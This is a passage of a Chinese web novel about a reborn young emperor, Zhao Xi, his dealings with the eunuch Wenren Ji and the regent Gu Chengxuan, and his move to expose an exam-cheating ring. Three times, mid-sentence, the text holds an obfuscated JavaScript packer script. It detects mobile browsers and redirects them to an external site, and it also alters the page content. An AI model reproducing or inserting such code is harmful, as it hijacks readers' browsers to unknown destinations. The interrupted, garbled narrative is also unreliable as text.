这算哪门子的‘恩威并施’哟,陛下让他把这巾帕的来历原原本本的告知九千岁不是有意埋汰人吗。 闻听此言,闻人寂差点没撑住喉头即将泻出的一丝呻吟。 他的小陛下…… 这是在做什么? 将用过的巾帕送过来。 赵熙就是故意的。 既闻人寂想装,那纵使是这般刻意羞辱,想来也只会‘高兴’。且受着吧,看他能撑到几时。 “东西送到了?”赵熙躺在榻上闭目养神,闻见外面传出的动静,漫不经心地朝送完东西回来的福泉道。 福泉缓了几息方才声音恍惚地回:“回陛下,送到了。如陛下所料……九千岁他、他很高兴。” 岂止是高兴,都有些忘乎所以了。 若他眼睛没看错,临走前九千岁似还将巾帕取出,就那么毫不犹豫地蒙到了脸上。 那是做什么……吸龙气吗? 念及此,福泉下意识打了个哆嗦,感觉头皮麻麻的。 该去洗头了,他在心中忖道。 赵熙轻哼一声,不再言语。 真高兴亦或是假高兴于他而言都不重要,闻人寂喜欢,他就陪着演一出又如何。 身处在这深宫之中,情感是最无用的。 若真有什么死心塌地,上辈子他又何至于被废,最后惨死冷宫。而况闻人寂那样汲汲营营的人,怎会放下手中的权柄。 思绪断在这里,赵熙漠然睁眼,眼底满是冰冷寂寥与刻骨的仇恨。 “陛下在想什么?”翌日,抽空过来探望他的顾承玄猝不及防同他目光撞上,看清赵熙眸中的神色顿了顿。有点凶,看起来和平日在他面前的乖软大相径庭,像只磨着爪子准备狩猎的恶兽。 顾承玄陡然怔住。 “皇叔来了。” 睡过一晚,赵熙精神许多,坐在院中的石椅上享受暖日晴熏。瞧见他来,弯唇笑了笑,眼底透着明灼的光,哪里还有什么凶狠。 顾承玄深深望他一眼。 “朕在想,今日天气不错。”赵熙似对他隐带探究的视线毫无所察,一脸的纯良。 对上那双澄澈如水洗的眸子,顾承玄忽觉意兴阑珊。 这样的人,不适合坐在这个位置。 自古以来称帝者若胸无城府,又如何安居上位,如何统率群臣。 顾承玄敛目,冷硬的五官情绪极淡,语气却温和,“既如此,陛下不若去御花园逛逛。” “好啊,”赵熙欣然邀请,“皇叔一起?” “臣稍后需得前往礼部,还望陛下见谅。” - 顾承玄来这一趟似乎只是为了看他一眼,最后赵熙独自领着一行人往御花园走去。 “陛下,御花园里的梨花开得不错,桐花绚烂亦不遑多让,可要去瞧瞧?”福泉笑眯眯道。 赵熙颔了颔首。 双层垂帛伞盖从身后罩下,将那耀眼到有些炫目的太阳光遮去大半。他仰起脸,花的香气中夹杂着丝丝泥土的芬芳,缀满枝头的簇簇梨花如云似雪,这也使得钩挂在其间隐隐透出的那抹绛色格外显眼。 “那是什么?”赵熙上前几步,赭黄袍上勾勒的金线被落了他满身的日光照得轻晃,灼目非常。 福泉也跟着探头张望,“似乎是…风筝?” 一道破空声响起,方才还钩挂在树梢的风筝转眼不见,伴随着落地的沉闷声响,魁岸的身影落到赵熙跟前。 青年身上穿着绛紫色圆领襕袍,眉深目阔,面容刚毅,周身自有一股凌厉的气场,仿若从刀枪剑戟中磨砺出来,如出鞘利刃,尽显杀伐之气。然他却天生一双笑眼,将那份凛然气息削减不少。 “臣,参见陛下。” 风筝被递到手边,捏着一角的手掌宽厚,手背上有一条略显狰狞的疤痕,这是对方保家卫国的勋章。赵熙并未伸手,扫了人一眼,“蒋将军怎会在此?” “臣今日入宫同摄政王商议边境驻军事宜,听闻陛下在此,特来请安。”蒋少离收回手,躬身道。 赵熙眸子半眯,眼神落在了后方他带着的两名随侍身上。意外的,其中一人竟是暗翊。 不愧是暗卫出身,行动干脆利落。 “嗯?”赵熙挪开目光,同时往旁侧让了几分。 蒋少离常年习武,年纪轻轻便接替了父亲的衣钵手握重兵,掌左军,此刻健硕的体格在这一瞬几乎将他笼罩。待视野开阔,方才继续:“都有什么章程,将军可否道与朕听听?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799363|175053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察觉到年轻的帝王往侧走了两步的举动,蒋少离顿了几息,不知为何竟有些想笑。 他看过去,如今新帝尚未及冠,身形介于少年与青年之间,犹带青涩。眼下正眸光微闪朝他望来,似是真的好奇,缀着光的眼底透着专注。 蒋少离不由认真同人解释起来。 都是些无关紧要的边防布置。 新帝刚登基不久,权力分散,导致朝纲不稳,西夷人便开始蠢蠢欲动。 这些赵熙都清楚,且有着多一世的记忆,他更是知晓一年后西夷就会集结兵力侵/犯北临领土。 想到彼时战火纷飞的边境,险些失手的三关,尸横遍野的疆土,赵熙眼底凝结出一层冷霜。 两国交战,百姓何辜。 既然上天让他重生,那他势要改写一下这结局。 “陛下?”蒋少离正说着,发觉跟前的小帝王似在走神。暗忖对方果然是少年心性,才几句话便听不下去了。 “嗯,”赵熙回过神,“将军继续说,朕在听。” 蒋少离滞了滞,眼神缓和下来,口吻不自觉转变,显得没那么枯燥,甚至夹带了一些他曾镇守边关时发生的趣事。 “臣是不是说得有点多了。”蒋少离摸了下鼻尖。 赵熙表情略微复杂,他能感觉到蒋少离对行军的热爱。这是一位真正的将军,率领着百战之师保家卫国,值得敬佩,然而…… 蒋少离又道:“说起来,燕王殿下亦喜欢听臣讲这些。” 且每次讲完对方都会央求他再多说些,丝毫没有身为亲王的架子。 蒋少离并不担心提这些会让赵熙觉得重臣同王爷过从甚密有什么,一则是听闻陛下与这个小他四岁的弟弟从还是皇子起便感情极好。 二则,以他的身份权势,也无需顾虑这些。 话落,蒋少离有意无意地去看赵熙,像是在观察他的反应。 ‘燕王’二字入耳,赵熙心绪便瞬间翻腾起来。 燕王,淑太妃所出,怀宁帝第九子。 他被废后,便是燕王坐上了那个位置。 却原来,燕王这么早就同蒋少离搭上了关系。 赵熙垂眸看向石阶下方站在前列一袭亲王朝服,和蒋少离站在一起的少年。对方似有所觉地抬首朝他望来,视线相对,少年冲他粲然一笑。 今日祭祖,百官跟随,燕王赵炘同样也在。身为朝中唯一的亲王,且深得陛下、摄政王看重,赵炘在百官中颇受欢迎。 上次听蒋少离提起赵炘,赵熙并无异样。可眼下面对这个他疼爱数年,却在他被废后以胜利者的姿态前往冷宫睥睨他的人,赵熙只觉怒不可遏。 怒焰在胸中狂涌。 这时,一道目光落来,带着熟悉的黏膩,让他微微回过神。赵熙皱着眉,循着让他不适的来源望去,旋即停留在最前方与顾承玄并列的人身上。 闻人寂目光灼灼地望着上方俯视而来的年轻帝王,十二旒冕冠,黑底金边的龙袍加身,上挑的眸中淡然得仿佛万事万物入不得眼。然而在睇向他的刹那,似带不悦地微眯起来,透着股说不出的随性恣意。 仿佛下一刻就会冲他说上一句‘滚’。 赵熙蹙眉,看着闻人寂忽然垂手往腰间摸去。 待他定睛望去,眼睛便不受控地瞪大。 就见那厮大剌剌从腰间取出一物。 眼熟的香色绸绣花方帕被闻人寂拿在手中。 在他的注视下,闻人寂将方帕执起,轻贴在颊侧拭了拭,末了宝贝似地收回怀中。 闻人寂狭长的凤眸从始至终都没从赵熙身上挪开过,那满眼的欣愉,好像擦脸的不是他用来擦过手的巾帕,而是…… 在用他的手。 4. 第四章 赵熙几乎是被烫到一般,错开了与那灼热目光相对的视线。 这个闻人寂…… 他疯了? 那块方帕洗过了没有? 他是不是有病? 无数念头在赵熙脑海中闪过,这种仿佛示弱的举动让他嫌恶地皱起眉。下一瞬,他倏然又望了回去,闻人寂不知是恰好看来还是一直就没有挪开过视线,赵熙转回去的刹那,两人的目光再次撞上。 闻人寂险险绷住出口的笑,唇角却怎么也遏制不住地扬了起来。 快被他的小陛下可爱得找不着北了。 赵熙却没再注意他,只因顾承玄也朝上方望了过来。他微偏了下头,福泉便上前高声宣唱,群臣下拜。 待祭祖结束,百官休沐三日。 赵熙亦欲趁着这个机会赶在会试前彻底将身子养好,准备接下来的殿试。 回玉翔宫的路上,赵炘跟了过来,“皇兄身体好些了吗?” 赵熙瞥一眼他关切望来的眼神,压了压心中的戾气,“尚可。” 十五六岁的少年眉清目秀,双目大而明亮,里面全是对兄长的渴慕,上前就要来拉赵熙的袖子,“皇兄……” 赵熙不动声色地挪开手,温声道:“去看过母妃了吗?” 赵炘看了看自己捞了个空的手,自然地放回身侧,十分卖乖地道:“臣弟难得入一次宫,是想多同皇兄亲近亲近再去和母妃请安的。” 这话前世赵熙听过不少,每每只觉心底淌过阵阵暖流,暗想谁说天家无情。到头来,是他自打脸面了。 “那就去吧,也替朕同母妃问个好。” 赵熙是在怀宁帝驾崩后匆匆即位的,其他的几个兄弟废的废,死的死。唯一留下来的就只有赵炘,因未及弱冠且封地尚未定下而留在京中。 剩下的几位太妃则要么是自请看守皇陵,要么便如淑太妃这般,深居后宫不理俗事。也正是因为淑太妃的与世无争,以及赵炘在他面前的乖巧听话,才让赵熙及至被幽禁深宫都没能明白自己为何被废。 赵炘摇头晃脑地点头,“知道了,知道了。” 说着便晃悠去了淑太妃礼佛的宝华殿,背影都似透出股子天真烂漫来。 待行出去一段路,赵炘方才收了脸上的笑,表情变得有些疑惑,渐渐又被阴沉的神色覆盖。 而在他左右的随侍俱都见怪不怪,似对他的变脸习以为常。 福泉吓了一跳,“陛下怎么了?” 怎么突然这副表情,刚不是还对着燕王笑得和煦吗?他不解。 赵熙沉着脸睨了睨他,总算知道上一世福泉为何死得那般早,淡淡开口:“你也该长点心了。” “陛下说的是。”福泉虚心聆听,记进心里。 赵熙深深看他,抬脚接着往玉翔宫走去。 “福泉。”行至半途,赵熙倏然出声。 “奴才在。” 他抿抿唇,“今日,朕不见人。” 福泉眼珠子转了转,方才长了的那点心一下便想到了关窍,“陛下是说九千岁?” 闻人寂走到一半,脚下突然转了个方向。 身后随侍看了看他,“主子不是说要去北镇抚司?”理当往宫门走去才对,看这方向…… “去玉翔宫。”想到稍后可以见到那人,闻人寂好心情地回了一句。 随侍闻言垂下脑袋不再多言。 事关陛下,主子向来最为上心。 倘若从北镇抚司回来再去见陛下定是晚了,且届时满身血气……最重要的是,闻人寂想早些见着对方。 虽说才刚刚分别不久,但先前的那一个对视实在叫人心痒。 然而刚到玉翔宫,闻人寂迎面便撞上了紧闭的宫门。 随侍见状忙上前去敲。 片刻后,福泉那‘哎哟哎哟’的声音从宫门内响起,看不见九千岁那张脸,他胆子也大了点,“九千岁来了,陛下正在小憩,不见人。” 闻人寂眉一挑,“那为何关闭宫门?” 福泉:“这,陛下吩咐的。” 忆起陛下慌忙躲避自己目光后又立刻瞪过来的可爱反应,闻人寂心下温软一片,抻了抻衣摆,“那本千岁晚些时辰沐浴更衣再过来。” 沉默几息,福泉擦了下额间不存在的冷汗,“陛下晚些也要小憩。” 这话一出还有什么不明白的,闻人寂当即便‘呵’了一声。 “看来陛下非是要小憩,而是要避着咱家。” “他真这么说的?” 福泉点头,对赵熙道:“还要长一点。” 赵熙拧着的眉头更深了,“什么?” 福泉装模作样地一咳,清了清嗓子,复述道:“看来陛下非是要小憩,而是要避~着~咱~家~” “不要阴阳怪气,”赵熙捏了下鼻梁,“这话不是同适才一样吗。” 福泉兰花指一翘朝他点了点,嗔道:“哎哟陛下喂,这就是九千岁的原话,语气也是。”他只不过是将之重复出来罢了。 赵熙看他一副被冤枉了的神情,心下顿感一阵恶寒,不知是被福泉的模仿还是被脑中下意识浮现出闻人寂说这话时的样子给恶心到。 左右宫门已关,赵熙便也不再理会,接下来两日亦是如此。 待众臣休沐结束,他的身体也完全恢复。 - 一面足有半人高的透雕蟠螭纹铜镜前映照出一道修长的人影,薄薄的中衣掩不住稍显瘦削的身形。外袍披身,束丝织物大带将纤细腰线勾勒,清琼玉带钩缀其上,乌发雪肤,如久经打磨的羊脂玉,风姿绝卓。 不似重生前的羸弱,亦没了病气的侵扰,愈显唇红齿白,眼波流转更是春色无边。然那双上翘的眸子中却暗藏锋芒,自然而然便流露出睥睨天下的气场,叫人不敢逼视。 仅一瞬,赵熙就将眼底不经意泄出的情绪敛去。 会试在即,民间已有不少此次参加会试的举子自发组建起文会,欲在考前探探同科的底。 其中有第一才子之称的柳则沅便是佼佼者,引得无数举子争相结识。 今日是大朝会,结束之后,赵熙有意出宫一趟。 皇帝出宫必然不可轻忽,更何况他这有名无实的身份,还需想个法子才好。 思索间,赵熙于福泉高呼‘皇上驾到’声中抬步入了金銮殿。 百官排列整齐,在他走上御座时叩拜并嵩呼万岁。 赵熙视线在下方逡巡,缓缓的,落到最前方的那道身着绯色蟒袍的身影上,他抬手,“众爱卿平身。” 群臣起身相继站好,不多时便开始启奏。当然,这些并不需要赵熙开口。 尚未及冠的年轻帝王手上毫无实权,只能端坐御座,百无聊赖地望着座下群臣谈论朝政,或互相争执,亦或相互合作谏言。 赵熙只需在这个时候将话头交给顾承玄,“皇叔以为如何?” 顾承玄微一颔首,方才扫向刚刚开口的两名大臣,“若连户部都调拨不出银两,本王这里倒是有一个提议……” 礼部尚书袁康转回身子重新站好,在他一侧,户部尚书曹正手持笏板遮面同帝王躬了躬身,这才去看顾承玄,“还请摄政王示下。” 会试向来由礼部操办,届时众多举子挤在贡院中,十年寒窗只为争一个前程。礼部尚书言贡院年久失修,要求户部拨款修缮,户部尚书则言会试即将举行,便是修缮也晚了,且户部已没有盈余可供调拨。 这话是真的,怀宁帝执政期间奢靡之风盛行。新帝即位又大赦天下,免除徭役赋税,国库自然空虚。 两人说话间,赵熙的唇线始终抿得紧紧的。 上一世,这段对话也曾有过。亦是从这时起,顾承玄的势力开始向六部渗透。 眼下历史再次重演,他仍旧毫无依仗,只能眼睁睁看着。赵熙拢在宽大袖袍下的手指一点一点往掌心收拢,力道渐渐扩大,指节几乎掐进肉里,那种前世被废时的无力感仿佛再度侵袭而来,他竭力忍耐并思索如何不引起顾承玄怀疑的同时打断二人。 即此时,一道带着慵懒的嗓音悠悠然传遍大殿,恰好将顾承玄准备出口的话堵在喉中,“陛下可是身体不适?” 所有人的注意力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799364|175053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽皆转向了御座之上。 年轻的帝王撑在扶手上,脸色苍白到难看的地步,似是在忍耐着什么。先前祭祖时皇上就是在病中,众臣都想到应该是风寒未愈。 闻人寂看一眼福泉,后者心领神会地上前宣布退朝,一段将要重演的历史就此搁置。憋着一口气的赵熙浑身蓦然松懈,心口悬着的大石落了一半,却远远达不到让他放松的地步。 赵熙垂下眸子,睫羽在眼下投出一片浅浅的阴影。他被福泉搀扶着站起,听到下方臣子恭送帝王的声音,只觉脚步沉甸甸的。 临出殿前,他朝某个方位瞥了眼。 赵熙被福泉扶到了后面的偏殿,不过片刻,外间便传来一阵脚步声。 “奴才出去看看是不是太医过来了。”福泉机敏道。 结果,刚出去他人就傻了。 福泉气沉丹田,声如洪钟地喊出了前半段,“九千岁!怎么来了,奴才还当是太医到了。” 闻人寂乜他一眼。 福泉的那一声‘九千岁’震得刚闭目开始考虑接下来应当如何筹谋的赵熙猛地睁眼。顾承玄既然想将手伸向六部,便绝不可能只因这一次的打断就收手,否则上一世对方的权势也不会扩大到那般地步。 然眼下他该思考的,是如何应对外面那人。 赵熙静坐良久,却不见人进来,视线不由往殿门望去。 正在这时,外间嗓音徐徐响起,不高不低,正好传入殿中。 “陛下愿意见咱家了吗?” 莫名幽怨的语调萦绕耳畔,赵熙一顿。 前两日他待在玉翔宫中修养,一直未见旁人,闻人寂确实来过。 少顷,赵熙按了按眉心,“进来吧。” 闻人寂轻笑,“那咱家可进来了。” 赵熙撩起眼帘,看着人从外间踱了进门,视线片刻不离他身上。 离开金銮殿后赵熙的神色就已恢复,此刻闻人寂竟也没觉得有何奇怪,似早就料到。 “今日之事、”赵熙开口,话到一半就被打断。 “陛下不想顾承玄接下此事。”闻人寂走近了,缓声:“是吗?” 赵熙也不瞒着,“是。” 但贡院那边依然是需要修缮的,能通过院试、乡试入京参加会试的,这些都是他北临未来的栋梁之材,赵熙既拦下了顾承玄的安排,自己却不能就此将之放任。 只是,怎样才能够不引起顾承玄的怀疑而将自己的计划施行下去…… 赵熙望向正专注朝他凝视而来的闻人寂。 “陛下如此看着咱家做甚?”闻人寂呼吸轻了点,殿中只有君臣二人,仿佛能听见彼此的心跳,不知不觉地加快,有那么一瞬似要从心口蹦出。 接着,他听到自己的名字从那张看起来格外柔软的淡粉唇瓣中吐出,“闻人寂。” 这是赵熙第一次如此唤闻人寂的名字。 闻人寂喉结动了动,嗓音轻浅:“陛下……”话落他开始等待,等着他的小陛下开口。 赵熙唇张合了瞬,转而道:“今日朕要出宫。” 未尽的话语似是两人的心照不宣,闻人寂心底有些遗憾,接口:“陛下怎能、” 后续的话还未说完,就听赵熙又道:“你同朕一起。”这是他一早就想好的,自己不能轻易出宫,身边若是带着闻人寂就不一样了。至于顾承玄那里,赵熙也并不担心对方会多想。 闻人寂嘴边的那句未出口的话转瞬换了个说辞,“陛下想出宫,咱家自是要随行护驾的。” 赵熙起身,头也不回地往外走。见身后没有动静,他微微侧了点身,余光瞥见还站在原地不知何时脸上挂满笑意的人,冷冷出声:“还不跟上。” 这一声极为随意,又隐隐含着些上位者的傲慢。闻人寂闻言耳根一酥,扬起唇角,脸上挂着的笑看着更不值钱了,应声的同时不忘颠颠儿跟上去,“来了。” 赵熙眸光闪动。 像他幼时养的小京巴,他一叫就撒着四条腿朝他跑过来。 不过……倒也不完全像。 毕竟这人只有两条腿。 5. 第五章 马车上,赵熙阖目靠着车璧,穿着看似简单的靛青色常服,却是曲水云鹤纹缂丝,襟口袖口皆以金线镶边,衣摆云纹亦是银丝织就,在车帘时不时透出的几缕光线下熠熠生辉。 须臾,他换了个姿势端坐,依旧没有睁开眼。只是凝在身上的视线过于炽热,片刻后赵熙还是掀起眼皮径直落向对面。 像是休息被打扰,眼神看起来有点凶。闻人寂品了品,还是没舍得收回视线,反而倒打一耙,“陛下怎么了?这样看咱家。” 赵熙忍了忍,还是念在对方今日愿意同他一道出宫才没有直接让人‘滚’。 默了一息,他道:“出去之后,不必唤陛下。” “不唤陛下,那……”闻人寂目光深了几分。 在赵熙出声前,低低的声线跃入耳中。 只听闻人寂轻轻道了一句:“昭昭?” “谁让你这么叫朕的。”赵熙倏然睁大眼。 “不让叫昭昭,我总不能叫名字吧?”闻人寂十分坦然地回视,将自称也一并改了。 帝王名讳非常人能唤,赵熙思考了瞬,姑且不再继续。 闻人寂又叫:“昭昭。” 两个字仿佛在齿间辗转碾磨了无数个来回一般,一字一句缓缓溢出。 赵熙哑然半晌。 这不是第一次除了母后以外有人这样叫他的,但却是第一次,让他有种从心底生出的不自然来,即便是上一世闻人寂也不曾这样唤过他。 在赵熙愣神的间隙,闻人寂垂在身侧的手早已不知不觉紧握成拳,掌心被汗水打湿黏膩一片。直到一声低不可闻的‘嗯’钻进耳里,那仿佛桎梏他的无形枷锁猛然松开,他呼出口热息,在心中喃喃。 昭昭…… 赵熙快速整理好情绪,恢复冷淡,“你想让朕如何唤你。” 在这京中,纵使有人不认识他这个皇帝,也没人不认识那一人之下、万人之上的九千岁,‘闻人寂’这三字俨然是不能随便叫的。 闻人寂:“昭昭唤我喧之、即可。” 微沉的声线十分惑人,中间停顿那一下仿似咽进去了什么字眼。 赵熙并未在意,反而重复了一遍,“喧之、闻人寂……这是你的字?” 沉默在车厢中无声蔓延,闻人寂停顿许久方才应,“是。” “是个好字。”赵熙道。 名为寂,字为喧。 看得出家中长辈对他的爱护与期许。 闻人寂笑了声,“我也觉得。” 赵熙看了看他的笑脸,总觉得这笑像是发自内心,“说起来,你这姓如今倒是少见。” 一直在车厢一角装鹌鹑的福泉终于找到说话的机会,连忙接茬:“是啊,当年闻人世家百年望族,第一门阀。可惜竟被诬陷叛国,一朝树倒猢狲散……最后还是身为皇子时的陛下为闻人家翻案的。” 树大招风,诬陷的那些人中均能看到其他几大世家的身影。 比起皇权之争,士族间的争斗亦是十分残酷。 赵熙早已忘了这些,当年怀宁帝为考校诸位皇子曾将本朝发生过的案子供他们翻阅,闻人世家叛国一事也在其中。 “陛下怕是记不得了吧,”福泉笑着,“那时您才十三,竟能将这么大的案子破了,可在京中扬了不少名呢,先帝怕也是因此才传位、” 赵熙:“福泉。” 福泉登时噤声,他这一时忘情,居然胆敢妄议朝政。见陛下面色缓和并无异色,这才稍稍放下点心,然而想到九千岁还在,遂又战战兢兢朝人望过去。 只见闻人寂不知在想什么,眼睑微垂。连赵熙抬眼看去对方都没察觉,他若有所思地收回目光。 待赵熙挪开眼神,闻人寂忽地开口:“你怎么也在?”他这话是对着福泉说的。 福泉登时紧绷起来,苦哈哈解释:“奴才要伺候陛下,当然也要跟着上来了。” 闻人寂眉头皱了皱,似不满他这话。 赵熙望过去,“别吓他。” 听到这话,福泉脸上的笑容还未来得及绽开,便又听一句:“稍后不让他跟着便是。” 闻人寂满意地将目光从福泉身上飞速移走,重新转回赵熙面上,“听昭昭的。” 赵熙不让福泉跟着不是因为别的,只是福泉的声音太过好认,一听就知是宫里出来的。所以在前往月桂楼时,福泉被留下来,沦落到和车夫一起看马车了。 - 马车停在距离月桂楼一条街的位置,傍水而建,河畔常常停靠着许多画舫,红色轻纱将船上情形遮掩得朦朦胧胧,隐约传来丝竹管弦之声。 而这两日因会试在即,月桂楼的东家便将地方腾出留给了本次举子以作文会之用,引得无数文人雅士前往。 来往皆是读书人,亦不乏门阀子弟,赵熙走入月桂楼中并未引起多大的注意。闻人寂穿着打扮也尤为朴素,只是不知道有意无意,着一件月白色长衫,与他挨得极近。 赵熙蹙眉往旁边挪了点,刚拉开些许距离,闻人寂便又靠了过来,站在他身后几乎快要圈住他,另一只手‘啪’的一下将手中折扇打开把赵熙身侧差点撞过来的一名男子挡开。 与此同时,耳畔钻入一声:“昭昭小心。” 赵熙顿了顿,偏头继续向里走。 楼内伙计立刻迎上来,见二人衣着不凡便招呼着人往二楼雅间行去,那里正好可以将画舫上的一切尽收眼底,同时也能看见一楼大堂的情形——雅间正好呈环状,设屏风,楼上的人能窥见楼下的动静。 赵熙走在前面,闻人寂则亦步亦趋跟在他身后。 雅间中布置典雅,躺椅柔软,矮桌摆放整齐,上方置着一摇铃。进去之后闻人寂点了一些招牌菜,接着便挥退了想要上前奉茶的伙计,“不必伺候。” 话落,他亲自拿起茶盏开始沏茶,动作间行云流水,可称得上一句赏心悦目。转瞬袅袅白雾升腾,遮盖视线,夹杂沁人的茶香飘荡而来。 斟至七分满的茶水被轻轻送到跟前,赵熙还从不知道闻人寂有这泡茶的功夫,不由多看了他一眼。 闻人寂对他笑笑,低声道:“尝尝看?”茶水被他来回颠倒过几轮,眼下温度并不如何烫了。 赵熙执起茶盏,垂首浅浅啜饮一口。 鸦羽般的睫毛纤长浓密,直直地垂下,低头喝茶的模样显得有些乖,淡色的唇上沾了茶水,一片潋滟。闻人寂看着看着,喉结滑动两下,也迅速拿起一杯茶飞快饮尽。 越喝越烫,闻人寂想。 也不知是说这茶还是别的。 赵熙喝完茶,发现身边有些安静。 他侧目,视野里那凸起的一点正一下一下滚动着,皮肤微微泛着红。 似感知到他的目光,闻人寂喉头咽了咽,动唇,嗓音喑哑,“怎么了?” 赵熙视线从他喉结上掠过,偏过头,“你可知道今日我出、来所为何事?” 闻人寂顺着他的目光朝屏风望去。 几个书生打扮的青年结伴走进大堂,中间簇拥着一个衣着华贵的公子。 “这是……吏部尚书家的嫡次子?”闻人寂辨认道。 “是他,”赵熙沉默了下,接着说,“我的人查到此人买通了主考官意欲购买考题。” 闻人寂讶然,“你是想……” 赵熙冷声:“自然是要人赃并获。”且不提这次的会试于他而言有多重要,就是这程岩的行为也让他尤为愤怒。 几句话间,程岩已吆喝着上了雅间,被周遭的同科奉承得满面春风,大声嚷着今日的酒水他请客。 雅间外响起一阵动静,听声音是入了隔壁。 赵熙起身朝窗户边走去。 画舫上此刻空空如也,闻人寂跟着站在一侧,“据说只有率先答对十道诗谜才能上去,曲水流觞,头筹者可获白银一百两。” 故而他们来时大堂早就挤满了人,即便非此次参加会试的举子也有许多读书人前来。真正的饱学之士有之,碰运气、凑热闹者亦有之,也算为此增添一些趣味性。 赵熙上一世未曾出宫来此,倒是不知这些。及至下方大堂有善口技者抚尺拍案,先以一段精彩表演将所有人注意力吸引。继而就是安排好的先生上台道出诗歌,请人上前将谜语写出。 这时,先生言雅间的客人可用桌上的摇晃桌前的铃铛进行答题,身处大堂者则以起身示意答题,一时之间整个月桂楼都热闹起来。 “昭昭要试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799365|175053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试吗?”闻人寂轻声询问。 一口一个‘昭昭’,叫得挺顺口,赵熙睇他,“不要。” 闻人寂可惜,拿起来的铃铛又放了回去,发出一道清脆响声,看着竟似迫不及待想要为他摇铃。 赵熙并无兴趣同那些举子们争夺,只是眼神在那些答题的人身上扫过。 等到名额差不多,就有伙计将答题数目足够的举子请入画舫,舫中酒水已然备齐。 隔壁传来一阵叮铃哐啷的声响。 没能答上足够题目的程岩‘砰’地踹开雅间的门,负气便离开了月桂楼,打发掉跟随他的那些人,独自从城东往城西而去。 城西亦是京中的繁华地带,再过两条街就是一些京中权贵所住的地方,程岩一路直奔凤怡阁。 赵熙扫了眼牌匾,坐在马车内回忆上一世。 舞弊案最后查出时,这个凤怡阁也是被查办了的。 “来人。”赵熙开口。 暗听悄无声息地落到车外,准备听候吩咐。 闻人寂突然道:“不知咱家是否有幸为陛下分忧?” 赵熙定定望向他,让闻人寂来出这个面,倒是比他自己来要方便得多。想罢,赵熙对着人微抬了抬下颌,“准了。” 那傲然的模样,闻人寂身侧的手指蜷了蜷,半晌才找回声音朝车外下令。 当日,锦衣卫查封凤怡阁,竟然查出了一桩大案。会试主考官泄露考题给举子,其中被扣押的那些皆是京中数得上号的门阀子弟。 这些人家中长辈如何着急,想要疏通关系暂且不提。 眼下,闻人寂派了人前往凤怡阁,马车则晃晃悠悠掉了个头。 车外细小的旋风转着圈儿吹这一块不知从哪落下的红纱幔,风扬起车帘一角。赵熙的脸露出一半,被外面的日光映亮侧颊,他略勾了下唇,眼底却不见半点笑意。 这是朕的第一步,皇叔且看好了。 余光中瞥见闻人寂望过来,赵熙唇角压了回去,转头就听到闻人寂问:“回宫?” 赵熙点点头,“回吧。”早朝后便出了宫,又折腾这许久,他确实感到有些乏力。 闻人寂:“陛下可要休息?”即将回宫,他的称呼也换了回来,恢复一贯的语调。 听着是比方才正经一些,赵熙接过闻人寂递过来的薄毯,还是觉得这人殷勤得过了头。 似是觉出他的想法,闻人寂缓缓道:“福总管不在,只能咱家伺候陛下了。” 赵熙指出他话中漏洞,“是你把福泉赶下去的。” 福泉不止没能跟着陛下一起前往月桂楼,最后回程亦只能待在外面,似彻底沦为了马夫。 闻人寂一滞,再次回答时带了点认真,“那便是咱家想伺候陛下。” 赵熙微阖着眼,捏着薄毯的指尖收了收。 下一句紧随而来,又低又轻的一声,“陛下允吗?” 陛下没有说话,像是已然睡着。 闻人寂便也安静下来,不错眼的静静凝视着。 原本打算闭目养神,赵熙没想到自己真就那样睡了过去,在只有两个人的车厢中。 另一个人是他上一世提防,且莫名排斥的闻人寂。 一路上,马车行驶得很平稳,及至行过闹市,原本平稳的车厢骤然颠簸了一瞬。今日出宫乘坐的马车并不如何奢华,为了不引人注目甚至说得上简陋,原本斜靠车璧的赵熙身体因着这一晃动而往下歪斜寸许。 在车厢颠簸的那一瞬,闻人寂便下意识伸出手,却在将要触碰到的咫尺距离停下,带了点迟疑。直到又一次震动,他毫不犹豫地单手将人搂住。 本就看起来单薄的肩膀,被他轻松捞入怀中。 好瘦。 闻人寂捻了捻指尖。 赵熙眼睫颤动,感觉肩膀被轻轻捏了一下。 方才马车颠簸的第一下他就醒了,只是懒得睁眼,不承想竟被人捞了过去。 身边人的体温有些偏高,似笼着热,赵熙略微感到不适,正想醒来从这人怀里退开。然而他刚准备动作,马车蓦地剧烈震颤起来。 慌乱间,赵熙手下意识撑了撑。 接着,他的掌心抵到了一块稍显坚硬的物体。 6. 第六章 掌心下传来的异样赵熙正下意识想捏捏看,旋即便听到一声低低的闷哼,很轻,轻到像是他的幻觉。 没等他辨清,头顶上方便落下一声:“陛下醒了?” 